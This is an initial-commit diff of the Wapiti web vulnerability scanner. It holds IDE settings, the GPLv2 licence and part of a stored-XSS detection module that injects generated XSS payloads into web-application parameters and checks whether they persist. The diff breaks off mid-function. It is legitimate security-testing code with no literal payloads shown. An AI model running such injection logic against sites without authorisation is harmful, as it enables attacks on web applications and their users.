Initial commit
This commit is contained in:
commit
352dab0081
|
@ -0,0 +1 @@
|
|||
wapiti-code
|
|
@ -0,0 +1,5 @@
|
|||
<component name="ProjectCodeStyleConfiguration">
|
||||
<state>
|
||||
<option name="PREFERRED_PROJECT_CODE_STYLE" value="Default (1)" />
|
||||
</state>
|
||||
</component>
|
|
@ -0,0 +1,10 @@
|
|||
<component name="ProjectDictionaryState">
|
||||
<dictionary name="sirius">
|
||||
<words>
|
||||
<w>redirections</w>
|
||||
<w>shockwave</w>
|
||||
<w>surribas</w>
|
||||
<w>webpage</w>
|
||||
</words>
|
||||
</dictionary>
|
||||
</component>
|
|
@ -0,0 +1,5 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="Encoding" useUTFGuessing="true" native2AsciiForPropertiesFiles="false" />
|
||||
</project>
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
<component name="InspectionProjectProfileManager">
|
||||
<profile version="1.0">
|
||||
<option name="myName" value="Project Default" />
|
||||
<inspection_tool class="PyPackageRequirementsInspection" enabled="true" level="WARNING" enabled_by_default="true">
|
||||
<option name="ignoredPackages">
|
||||
<value>
|
||||
<list size="1">
|
||||
<item index="0" class="java.lang.String" itemvalue="bs4" />
|
||||
</list>
|
||||
</value>
|
||||
</option>
|
||||
</inspection_tool>
|
||||
<inspection_tool class="SpellCheckingInspection" enabled="true" level="TYPO" enabled_by_default="true">
|
||||
<option name="processCode" value="false" />
|
||||
<option name="processLiterals" value="true" />
|
||||
<option name="processComments" value="true" />
|
||||
</inspection_tool>
|
||||
</profile>
|
||||
</component>
|
|
@ -0,0 +1,26 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectRootManager" version="2" project-jdk-name="Python 3.7 (wapiti-code-6nqJqzvp)" project-jdk-type="Python SDK" />
|
||||
<component name="PythonCompatibilityInspectionAdvertiser">
|
||||
<option name="version" value="1" />
|
||||
</component>
|
||||
<component name="SvnBranchConfigurationManager">
|
||||
<option name="myConfigurationMap">
|
||||
<map>
|
||||
<entry key="$PROJECT_DIR$">
|
||||
<value>
|
||||
<SvnBranchConfiguration>
|
||||
<option name="branchUrls">
|
||||
<list>
|
||||
<option value="svn+ssh://svn.code.sf.net/p/wapiti/code/branches" />
|
||||
<option value="svn+ssh://svn.code.sf.net/p/wapiti/code/tags" />
|
||||
</list>
|
||||
</option>
|
||||
<option name="trunkUrl" value="svn+ssh://svn.code.sf.net/p/wapiti/code/trunk" />
|
||||
</SvnBranchConfiguration>
|
||||
</value>
|
||||
</entry>
|
||||
</map>
|
||||
</option>
|
||||
</component>
|
||||
</project>
|
|
@ -0,0 +1,9 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectModuleManager">
|
||||
<modules>
|
||||
<module fileurl="file://$PROJECT_DIR$/.idea/wapiti-code.iml" filepath="$PROJECT_DIR$/.idea/wapiti-code.iml" />
|
||||
</modules>
|
||||
</component>
|
||||
</project>
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
<component name="DependencyValidationManager">
|
||||
<state>
|
||||
<option name="SKIP_IMPORT_STATEMENTS" value="false" />
|
||||
</state>
|
||||
</component>
|
|
@ -0,0 +1,7 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="VcsDirectoryMappings">
|
||||
<mapping directory="$PROJECT_DIR$" vcs="svn" />
|
||||
</component>
|
||||
</project>
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="PYTHON_MODULE" version="4">
|
||||
<component name="NewModuleRootManager">
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<excludeFolder url="file://$MODULE_DIR$/.idea" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/build" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/dist" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/wapiti.egg-info" />
|
||||
</content>
|
||||
<orderEntry type="jdk" jdkName="Python 3.7 (wapiti-code-6nqJqzvp)" jdkType="Python SDK" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
</component>
|
||||
<component name="PyDocumentationSettings">
|
||||
<option name="myDocStringFormat" value="Plain" />
|
||||
</component>
|
||||
</module>
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,339 @@
|
|||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 2, June 1991
|
||||
|
||||
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
License is intended to guarantee your freedom to share and change free
|
||||
software--to make sure the software is free for all its users. This
|
||||
General Public License applies to most of the Free Software
|
||||
Foundation's software and to any other program whose authors commit to
|
||||
using it. (Some other Free Software Foundation software is covered by
|
||||
the GNU Lesser General Public License instead.) You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
this service if you wish), that you receive source code or can get it
|
||||
if you want it, that you can change the software or use pieces of it
|
||||
in new free programs; and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
anyone to deny you these rights or to ask you to surrender the rights.
|
||||
These restrictions translate to certain responsibilities for you if you
|
||||
distribute copies of the software, or if you modify it.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must give the recipients all the rights that
|
||||
you have. You must make sure that they, too, receive or can get the
|
||||
source code. And you must show them these terms so they know their
|
||||
rights.
|
||||
|
||||
We protect your rights with two steps: (1) copyright the software, and
|
||||
(2) offer you this license which gives you legal permission to copy,
|
||||
distribute and/or modify the software.
|
||||
|
||||
Also, for each author's protection and ours, we want to make certain
|
||||
that everyone understands that there is no warranty for this free
|
||||
software. If the software is modified by someone else and passed on, we
|
||||
want its recipients to know that what they have is not the original, so
|
||||
that any problems introduced by others will not reflect on the original
|
||||
authors' reputations.
|
||||
|
||||
Finally, any free program is threatened constantly by software
|
||||
patents. We wish to avoid the danger that redistributors of a free
|
||||
program will individually obtain patent licenses, in effect making the
|
||||
program proprietary. To prevent this, we have made it clear that any
|
||||
patent must be licensed for everyone's free use or not licensed at all.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License applies to any program or other work which contains
|
||||
a notice placed by the copyright holder saying it may be distributed
|
||||
under the terms of this General Public License. The "Program", below,
|
||||
refers to any such program or work, and a "work based on the Program"
|
||||
means either the Program or any derivative work under copyright law:
|
||||
that is to say, a work containing the Program or a portion of it,
|
||||
either verbatim or with modifications and/or translated into another
|
||||
language. (Hereinafter, translation is included without limitation in
|
||||
the term "modification".) Each licensee is addressed as "you".
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running the Program is not restricted, and the output from the Program
|
||||
is covered only if its contents constitute a work based on the
|
||||
Program (independent of having been made by running the Program).
|
||||
Whether that is true depends on what the Program does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Program's
|
||||
source code as you receive it, in any medium, provided that you
|
||||
conspicuously and appropriately publish on each copy an appropriate
|
||||
copyright notice and disclaimer of warranty; keep intact all the
|
||||
notices that refer to this License and to the absence of any warranty;
|
||||
and give any other recipients of the Program a copy of this License
|
||||
along with the Program.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy, and
|
||||
you may at your option offer warranty protection in exchange for a fee.
|
||||
|
||||
2. You may modify your copy or copies of the Program or any portion
|
||||
of it, thus forming a work based on the Program, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) You must cause the modified files to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
b) You must cause any work that you distribute or publish, that in
|
||||
whole or in part contains or is derived from the Program or any
|
||||
part thereof, to be licensed as a whole at no charge to all third
|
||||
parties under the terms of this License.
|
||||
|
||||
c) If the modified program normally reads commands interactively
|
||||
when run, you must cause it, when started running for such
|
||||
interactive use in the most ordinary way, to print or display an
|
||||
announcement including an appropriate copyright notice and a
|
||||
notice that there is no warranty (or else, saying that you provide
|
||||
a warranty) and that users may redistribute the program under
|
||||
these conditions, and telling the user how to view a copy of this
|
||||
License. (Exception: if the Program itself is interactive but
|
||||
does not normally print such an announcement, your work based on
|
||||
the Program is not required to print an announcement.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Program,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Program, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Program.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Program
|
||||
with the Program (or with a work based on the Program) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may copy and distribute the Program (or a work based on it,
|
||||
under Section 2) in object code or executable form under the terms of
|
||||
Sections 1 and 2 above provided that you also do one of the following:
|
||||
|
||||
a) Accompany it with the complete corresponding machine-readable
|
||||
source code, which must be distributed under the terms of Sections
|
||||
1 and 2 above on a medium customarily used for software interchange; or,
|
||||
|
||||
b) Accompany it with a written offer, valid for at least three
|
||||
years, to give any third party, for a charge no more than your
|
||||
cost of physically performing source distribution, a complete
|
||||
machine-readable copy of the corresponding source code, to be
|
||||
distributed under the terms of Sections 1 and 2 above on a medium
|
||||
customarily used for software interchange; or,
|
||||
|
||||
c) Accompany it with the information you received as to the offer
|
||||
to distribute corresponding source code. (This alternative is
|
||||
allowed only for noncommercial distribution and only if you
|
||||
received the program in object code or executable form with such
|
||||
an offer, in accord with Subsection b above.)
|
||||
|
||||
The source code for a work means the preferred form of the work for
|
||||
making modifications to it. For an executable work, complete source
|
||||
code means all the source code for all modules it contains, plus any
|
||||
associated interface definition files, plus the scripts used to
|
||||
control compilation and installation of the executable. However, as a
|
||||
special exception, the source code distributed need not include
|
||||
anything that is normally distributed (in either source or binary
|
||||
form) with the major components (compiler, kernel, and so on) of the
|
||||
operating system on which the executable runs, unless that component
|
||||
itself accompanies the executable.
|
||||
|
||||
If distribution of executable or object code is made by offering
|
||||
access to copy from a designated place, then offering equivalent
|
||||
access to copy the source code from the same place counts as
|
||||
distribution of the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
4. You may not copy, modify, sublicense, or distribute the Program
|
||||
except as expressly provided under this License. Any attempt
|
||||
otherwise to copy, modify, sublicense or distribute the Program is
|
||||
void, and will automatically terminate your rights under this License.
|
||||
However, parties who have received copies, or rights, from you under
|
||||
this License will not have their licenses terminated so long as such
|
||||
parties remain in full compliance.
|
||||
|
||||
5. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Program or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Program (or any work based on the
|
||||
Program), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Program or works based on it.
|
||||
|
||||
6. Each time you redistribute the Program (or any work based on the
|
||||
Program), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute or modify the Program subject to
|
||||
these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties to
|
||||
this License.
|
||||
|
||||
7. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Program at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Program by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Program.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under
|
||||
any particular circumstance, the balance of the section is intended to
|
||||
apply and the section as a whole is intended to apply in other
|
||||
circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system, which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
8. If the distribution and/or use of the Program is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Program under this License
|
||||
may add an explicit geographical distribution limitation excluding
|
||||
those countries, so that distribution is permitted only in or among
|
||||
countries not thus excluded. In such case, this License incorporates
|
||||
the limitation as if written in the body of this License.
|
||||
|
||||
9. The Free Software Foundation may publish revised and/or new versions
|
||||
of the General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Program
|
||||
specifies a version number of this License which applies to it and "any
|
||||
later version", you have the option of following the terms and conditions
|
||||
either of that version or of any later version published by the Free
|
||||
Software Foundation. If the Program does not specify a version number of
|
||||
this License, you may choose any version ever published by the Free Software
|
||||
Foundation.
|
||||
|
||||
10. If you wish to incorporate parts of the Program into other free
|
||||
programs whose distribution conditions are different, write to the author
|
||||
to ask for permission. For software which is copyrighted by the Free
|
||||
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||
make exceptions for this. Our decision will be guided by the two goals
|
||||
of preserving the free status of all derivatives of our free software and
|
||||
of promoting the sharing and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||
REPAIR OR CORRECTION.
|
||||
|
||||
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
convey the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with this program; if not, write to the Free Software Foundation, Inc.,
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program is interactive, make it output a short notice like this
|
||||
when it starts in an interactive mode:
|
||||
|
||||
Gnomovision version 69, Copyright (C) year name of author
|
||||
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, the commands you use may
|
||||
be called something other than `show w' and `show c'; they could even be
|
||||
mouse-clicks or menu items--whatever suits your program.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or your
|
||||
school, if any, to sign a "copyright disclaimer" for the program, if
|
||||
necessary. Here is a sample; alter the names:
|
||||
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
|
||||
`Gnomovision' (which makes passes at compilers) written by James Hacker.
|
||||
|
||||
<signature of Ty Coon>, 1 April 1989
|
||||
Ty Coon, President of Vice
|
||||
|
||||
This General Public License does not permit incorporating your program into
|
||||
proprietary programs. If your program is a subroutine library, you may
|
||||
consider it more useful to permit linking proprietary applications with the
|
||||
library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License.
|
|
@ -0,0 +1,391 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from urllib.parse import quote
|
||||
from configparser import ConfigParser
|
||||
from os.path import join as path_join
|
||||
from math import ceil
|
||||
|
||||
from requests.exceptions import Timeout, ReadTimeout
|
||||
|
||||
from wapitiCore.attack.attack import Attack, PayloadType, Mutator
|
||||
from wapitiCore.language.vulnerability import Vulnerability, Anomaly, _
|
||||
from wapitiCore.net import web
|
||||
from wapitiCore.net.xss_utils import generate_payloads, valid_xss_content_type
|
||||
|
||||
|
||||
class mod_permanentxss(Attack):
|
||||
"""
|
||||
This class detects permanent (stored) XSS vulnerabilities.
|
||||
"""
|
||||
|
||||
# simple payloads that doesn't rely on their position in the DOM structure
|
||||
# payloads injected after closing a tag attribute value (attrval) or in the
|
||||
# content of a tag (text node like between <p> and </p>)
|
||||
# only trick here must be on character encoding, filter bypassing, stuff like that
|
||||
# form the simplest to the most complex, Wapiti will stop on the first working
|
||||
independant_payloads = []
|
||||
|
||||
name = "permanentxss"
|
||||
require = ["xss"]
|
||||
PRIORITY = 6
|
||||
|
||||
# Attempted payload injection from mod_xss.
|
||||
# key is tainted value, dict values are (mutated_request, parameter, flags)
|
||||
TRIED_XSS = {}
|
||||
|
||||
# key = xss code, valid = (payload, flags)
|
||||
SUCCESSFUL_XSS = {}
|
||||
|
||||
PAYLOADS_FILE = "xssPayloads.ini"
|
||||
|
||||
MSG_VULN = _("Stored XSS vulnerability")
|
||||
|
||||
def __init__(self, crawler, persister, logger, attack_options):
|
||||
Attack.__init__(self, crawler, persister, logger, attack_options)
|
||||
self.independant_payloads = self.payloads
|
||||
|
||||
def attack(self):
|
||||
"""This method searches XSS which could be permanently stored in the web application"""
|
||||
get_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
|
||||
|
||||
for original_request in get_resources:
|
||||
if not valid_xss_content_type(original_request):
|
||||
# If that content-type can't be interpreted as HTML by browsers then it is useless
|
||||
continue
|
||||
|
||||
url = original_request.url
|
||||
target_req = web.Request(url)
|
||||
referer = original_request.referer
|
||||
headers = {}
|
||||
|
||||
if referer:
|
||||
headers["referer"] = referer
|
||||
if self.verbose >= 1:
|
||||
print("[+] {}".format(url))
|
||||
|
||||
try:
|
||||
response = self.crawler.send(target_req, headers=headers)
|
||||
data = response.content
|
||||
except Timeout:
|
||||
continue
|
||||
except OSError as exception:
|
||||
# TODO: those error messages are useless, don't give any valuable information
|
||||
print(_("error: {0} while attacking {1}").format(exception.strerror, url))
|
||||
continue
|
||||
except Exception as exception:
|
||||
print(_("error: {0} while attacking {1}").format(exception, url))
|
||||
continue
|
||||
|
||||
# Should we look for taint codes sent with GET in the webpages?
|
||||
# Exploiting those may imply sending more GET requests
|
||||
|
||||
# Search in the page source for every taint code used by mod_xss
|
||||
for taint in self.TRIED_XSS:
|
||||
input_request = self.TRIED_XSS[taint][0]
|
||||
|
||||
# Such situations should not occur as it would be stupid to block POST (or GET) requests for mod_xss
|
||||
# and not mod_permanentxss, but it is possible so let's filter that.
|
||||
if not self.do_get and input_request.method == "GET":
|
||||
continue
|
||||
|
||||
if not self.do_post and input_request.method == "POST":
|
||||
continue
|
||||
|
||||
if taint.lower() in data.lower():
|
||||
# Code found in the webpage !
|
||||
# Did mod_xss saw this as a reflected XSS ?
|
||||
if taint in self.SUCCESSFUL_XSS:
|
||||
# Yes, it means XSS payloads were injected, not just tainted code.
|
||||
payload, flags = self.SUCCESSFUL_XSS[taint]
|
||||
|
||||
if self.check_payload(response, flags, taint):
|
||||
# If we can find the payload again, this is in fact a stored XSS
|
||||
get_params = input_request.get_params
|
||||
post_params = input_request.post_params
|
||||
file_params = input_request.file_params
|
||||
referer = input_request.referer
|
||||
|
||||
# The following trick may seems dirty but it allows to treat GET and POST requests
|
||||
# the same way.
|
||||
for params_list in [get_params, post_params, file_params]:
|
||||
for i in range(len(params_list)):
|
||||
parameter, value = params_list[i]
|
||||
parameter = quote(parameter)
|
||||
if value != taint:
|
||||
continue
|
||||
|
||||
if params_list is file_params:
|
||||
params_list[i][1][0] = payload
|
||||
else:
|
||||
params_list[i][1] = payload
|
||||
|
||||
# we found the xss payload again -> stored xss vuln
|
||||
evil_request = web.Request(
|
||||
input_request.path,
|
||||
method=input_request.method,
|
||||
get_params=get_params,
|
||||
post_params=post_params,
|
||||
file_params=file_params,
|
||||
referer=referer
|
||||
)
|
||||
|
||||
if original_request.path == input_request.path:
|
||||
description = _(
|
||||
"Permanent XSS vulnerability found via injection in the parameter {0}"
|
||||
).format(parameter)
|
||||
else:
|
||||
description = _(
|
||||
"Permanent XSS vulnerability found in {0} by injecting"
|
||||
" the parameter {1} of {2}"
|
||||
).format(
|
||||
original_request.url,
|
||||
parameter,
|
||||
input_request.path
|
||||
)
|
||||
|
||||
self.add_vuln(
|
||||
request_id=original_request.path_id,
|
||||
category=Vulnerability.XSS,
|
||||
level=Vulnerability.HIGH_LEVEL,
|
||||
request=evil_request,
|
||||
parameter=parameter,
|
||||
info=description
|
||||
)
|
||||
|
||||
if parameter == "QUERY_STRING":
|
||||
injection_msg = Vulnerability.MSG_QS_INJECT
|
||||
else:
|
||||
injection_msg = Vulnerability.MSG_PARAM_INJECT
|
||||
|
||||
self.log_red("---")
|
||||
self.log_red(
|
||||
injection_msg,
|
||||
self.MSG_VULN,
|
||||
original_request.path,
|
||||
parameter
|
||||
)
|
||||
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
|
||||
self.log_red(evil_request.http_repr())
|
||||
self.log_red("---")
|
||||
# FIX: search for the next code in the webpage
|
||||
|
||||
# Ok the content is stored, but will we be able to inject javascript?
|
||||
else:
|
||||
parameter = self.TRIED_XSS[taint][1]
|
||||
payloads = generate_payloads(response.content, taint, self.independant_payloads)
|
||||
flags = self.TRIED_XSS[taint][2]
|
||||
|
||||
# TODO: check that and make it better
|
||||
if PayloadType.get in flags:
|
||||
method = "G"
|
||||
elif PayloadType.file in flags:
|
||||
method = "F"
|
||||
else:
|
||||
method = "P"
|
||||
|
||||
self.attempt_exploit(method, payloads, input_request, parameter, taint, original_request)
|
||||
|
||||
yield original_request
|
||||
|
||||
def load_require(self, dependancies: list = None):
|
||||
if dependancies:
|
||||
for module in dependancies:
|
||||
if module.name == "xss":
|
||||
self.SUCCESSFUL_XSS = module.SUCCESSFUL_XSS
|
||||
self.TRIED_XSS = module.TRIED_XSS
|
||||
|
||||
def attempt_exploit(self, method, payloads, injection_request, parameter, taint, output_request):
|
||||
timeouted = False
|
||||
page = injection_request.path
|
||||
saw_internal_error = False
|
||||
output_url = output_request.url
|
||||
|
||||
attack_mutator = Mutator(
|
||||
methods=method,
|
||||
payloads=payloads,
|
||||
qs_inject=self.must_attack_query_string,
|
||||
parameters=[parameter],
|
||||
skip=self.options.get("skipped_parameters")
|
||||
)
|
||||
|
||||
for evil_request, xss_param, xss_payload, xss_flags in attack_mutator.mutate(injection_request):
|
||||
if self.verbose == 2:
|
||||
print("[¨] {0}".format(evil_request))
|
||||
|
||||
try:
|
||||
self.crawler.send(evil_request)
|
||||
except ReadTimeout:
|
||||
if timeouted:
|
||||
continue
|
||||
|
||||
self.log_orange("---")
|
||||
self.log_orange(Anomaly.MSG_TIMEOUT, page)
|
||||
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
|
||||
self.log_orange(evil_request.http_repr())
|
||||
self.log_orange("---")
|
||||
|
||||
if xss_param == "QUERY_STRING":
|
||||
anom_msg = Anomaly.MSG_QS_TIMEOUT
|
||||
else:
|
||||
anom_msg = Anomaly.MSG_PARAM_TIMEOUT.format(xss_param)
|
||||
|
||||
self.add_anom(
|
||||
request_id=injection_request.path_id,
|
||||
category=Anomaly.RES_CONSUMPTION,
|
||||
level=Anomaly.MEDIUM_LEVEL,
|
||||
request=evil_request,
|
||||
info=anom_msg,
|
||||
parameter=xss_param
|
||||
)
|
||||
timeouted = True
|
||||
|
||||
else:
|
||||
try:
|
||||
response = self.crawler.send(output_request)
|
||||
except ReadTimeout:
|
||||
continue
|
||||
|
||||
if self.check_payload(response, xss_flags, taint):
|
||||
|
||||
if page == output_request.path:
|
||||
description = _(
|
||||
"Permanent XSS vulnerability found via injection in the parameter {0}"
|
||||
).format(xss_param)
|
||||
else:
|
||||
description = _(
|
||||
"Permanent XSS vulnerability found in {0} by injecting"
|
||||
" the parameter {1} of {2}"
|
||||
).format(
|
||||
output_request.url,
|
||||
parameter,
|
||||
page
|
||||
)
|
||||
|
||||
self.add_vuln(
|
||||
request_id=injection_request.path_id,
|
||||
category=Vulnerability.XSS,
|
||||
level=Vulnerability.HIGH_LEVEL,
|
||||
request=evil_request,
|
||||
parameter=xss_param,
|
||||
info=description
|
||||
)
|
||||
|
||||
if xss_param == "QUERY_STRING":
|
||||
injection_msg = Vulnerability.MSG_QS_INJECT
|
||||
else:
|
||||
injection_msg = Vulnerability.MSG_PARAM_INJECT
|
||||
|
||||
self.log_red("---")
|
||||
# TODO: a last parameter should give URL used to pass the vulnerable parameter
|
||||
self.log_red(
|
||||
injection_msg,
|
||||
self.MSG_VULN,
|
||||
output_url,
|
||||
xss_param
|
||||
)
|
||||
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
|
||||
self.log_red(evil_request.http_repr())
|
||||
self.log_red("---")
|
||||
|
||||
# stop trying payloads and jump to the next parameter
|
||||
break
|
||||
elif response.status == 500 and not saw_internal_error:
|
||||
if xss_param == "QUERY_STRING":
|
||||
anom_msg = Anomaly.MSG_QS_500
|
||||
else:
|
||||
anom_msg = Anomaly.MSG_PARAM_500.format(xss_param)
|
||||
|
||||
self.add_anom(
|
||||
request_id=injection_request.path_id,
|
||||
category=Anomaly.ERROR_500,
|
||||
level=Anomaly.HIGH_LEVEL,
|
||||
request=evil_request,
|
||||
